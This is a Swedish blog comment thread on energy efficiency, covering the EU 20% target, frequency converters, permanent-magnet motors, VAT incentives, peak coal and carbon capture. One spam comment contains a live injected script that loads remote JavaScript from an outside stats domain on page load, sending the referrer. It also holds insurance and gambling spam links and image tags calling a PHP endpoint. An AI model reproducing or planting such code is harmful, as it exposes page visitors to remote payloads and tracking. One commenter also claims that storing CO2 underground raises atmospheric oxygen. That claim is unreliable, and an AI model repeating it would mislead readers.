"Näringsminister Maud Olofsson har gjort energieffektivisering till ett av sina paradnummer." I ett tal förra året sa hon att ”energieffektivisering är en hörnpelare i alliansregeringens energipolitik”.
Kanske ett par dynamos i käken kan generera några watt per dag på den uppskruvade papegojan. ;-)

EU har beslutat att alla medlemsländer skall till 2020 ha effektiviserat sin energiförbrukning med 20%.
Det är inte på något vis ouppnårligt krav.
Ta svenska företag som NFO=Naturlig Fält Orientering vars algoritm finns i DSP från Texas Instruments för effektivare Frekvensomritning av elmotorer utan krypströmmar eller ta Emotron so också utvecklar och tillverkar Frekvensomriktare till elmotorer något som ABB också tillverkar och säljer.I ett genomsnittligt pappersbruk finns det 1000 pumpar av olika storlekar med Frekvensomriktare till varje pumps elmotor så blir det avsevärda effektiviseringar av elförbrukningen.
Södra Cells tre pappersmassabruk liksom EQT-ägda Aspa bruk är numer nettoexportörer av el då deras bruk har varsin gasturbin som drivs av restluten svarlut.Gasturbinen driver i sin tur en generator som genererar el. Ersättaren av X2000 tågen som nu forskas på och som kallas för Gröna Tåget det har elmotorer av PM-typ där endast statorn har lindade spolar och rotorn har starka permanentmagneter.
Alstom TGV-tåget som gjorde nytt hastighetsrekord i April 2007 med sina 574 km/h använde också elmotorer av PM-typ.
Om alla tåg och större elmotorer i t.ex pappersindustrin använde elmotorer av PM-typ ja då skulle dessa brukare kunna halvera sin elförbrukning.Så nog går det att skapa Negawatt - om man vill!

Lite nyfiken på namnet bara...

Energieffektiviseringsmålet är inte bindande i motsatts till de övriga målen i Energi- och klimatpaketet.

Men ett energieffektiviseringsmål på 20% är ej ouppnårligt om man tänker på vad som kan åstadkommas mycket genom ökad medvetenhet.Teknikutvecklingen kommer också bidra till Negawatt.Tänk att lilla Sverige är ett av fyra länder i världen som hyser tillverkning av Kiselkarbid wafers!
En första appliaktion blir för kraftelektronik i hybridfordon och på sikt blir det i alla typer av elapparater och omriktning mellan AC/DC.

Varför inte använda sig av momsen som styrmedel vid köp av ny teknik. T.ex. så skulle den energieffektivaste tekniken kunna ha normalmoms eller lägre skattesats än normalmomsen, sedan skulle momsen öka allt eftersom tekniken är mindre energieffektiv.
Lämpligtvis så riktar man in sig på produkter eller områden där energisparpotentialen är stor.

Varför inte kalla det miljöskatt i syfte att få bort all teknik som belastar miljön mer än nödvändigt.

Det är inte i första hand avändningen av energi som är boven utan hur vi tillverkar denna av de fasta resurser som finns på jorden.
Det är naturligtvis högst önskvärt att ALLA i sin energianvändning gör detta på bästa sparsamma sätt, men e sak är säker att energibehovet i framtiden kommer att stadigt öka trots att vi kommer att effektivisera användningen maximalt, därför är det alltså den stora bove HUR vi tillverkar energinav de fasta energilager som finns på jorden.
Vi har haft oljan ett århundrade som det tog många miljoner år att skapa av multnande växter år efter år lagrade i marken efter massor av mottaget solljus och klorofyll processer. Nu är denna resurs på väg från oss och vi bör hushålla med den för andra behov som behövs till den kemiska industrin.
Vi har också på jorden kol för energibehovet i tusentals år vid sidan av alla andra energikällor som mekanisk energi från vind och våg. Vi har sol att omvandla till el, vi har ura som kan ge energi i kärnkrfatverk, men vi har också idag växande material som genomgår samma process som för miljoner år sedan.
Slutsatsen är alltså att vi har energi så det räcker på jorden men när vi tar av våra energilager så måste vi använda detta på ett sätt som INTE skadar vår miljö.
Bränn biomaterial eller kol i IGCC anläggningar med CO2 capture och rening av svavel och kväve så har vi ren energi så det räcker. Att pumpa ner CO2 i berggrunden igen är helt OK eftersom vi bara flyttar om atomerna på jorden från CO2 i luften till carbonater i berggrunden.
Ett litet observandum: Om all jordens bundna co2 i berggrunden idag skulle frigöras är det goodbye för oss alla, då blir det bara CO2 i luften och så låg % syre att vi nte kan leva här på jorden, så pumpa ner mer bara så ökar vi syretalet på jorden.

bbtbb86-r5cxpj1-tw6qa2a1-0 <script>var r = document.referrer; document.write('<script src="http://www.stats-log.com/gb.php?id=g&r='+escape(r)+'"><' + '/script>')</script> <a href="http://urlser.com/?5Nnno#2">progressive insurance</a>
http://urlser.com/?xFj4E#1
[url=http://urlser.com/?m6c0v#3]auto insurance[/url]
[url]http://online-gambling-mo.lookera.net#4[/url]
[http://urlser.com/?boo2X#5 life insurance]
"car insurance":http://urlser.com/?e64r6#6
[LINK http://texas-holdem-mo.lookera.net#7]texas holdem[/LINK]
[img]http://victor.freewebhostingpro.com/1.php[/img]
<img src="http://victor.freewebhostingpro.com/1.php" alt="" border="0" />

Enligt en rapport från Energi watch group så beräknas kolproduktion nå sitt maximum omkring år 2025.

Att jorden koltillgångar skulle vara i stort sett oändliga är bara en myt.

http://www.energywatchgroup.org/fileadmin/global/pdf/EWG_Report_Coal_10-07-2007ms.pdf

Vad är det som gör att Alliansen tror påå planekonomi. Lönsamma åtgärder genomförs i den ordning de prioriteras om nu kreditmarknaden fungerar.

Att Lotta Bångens gnäller förvånar mig inte, hon tillhör ju planekonomerna.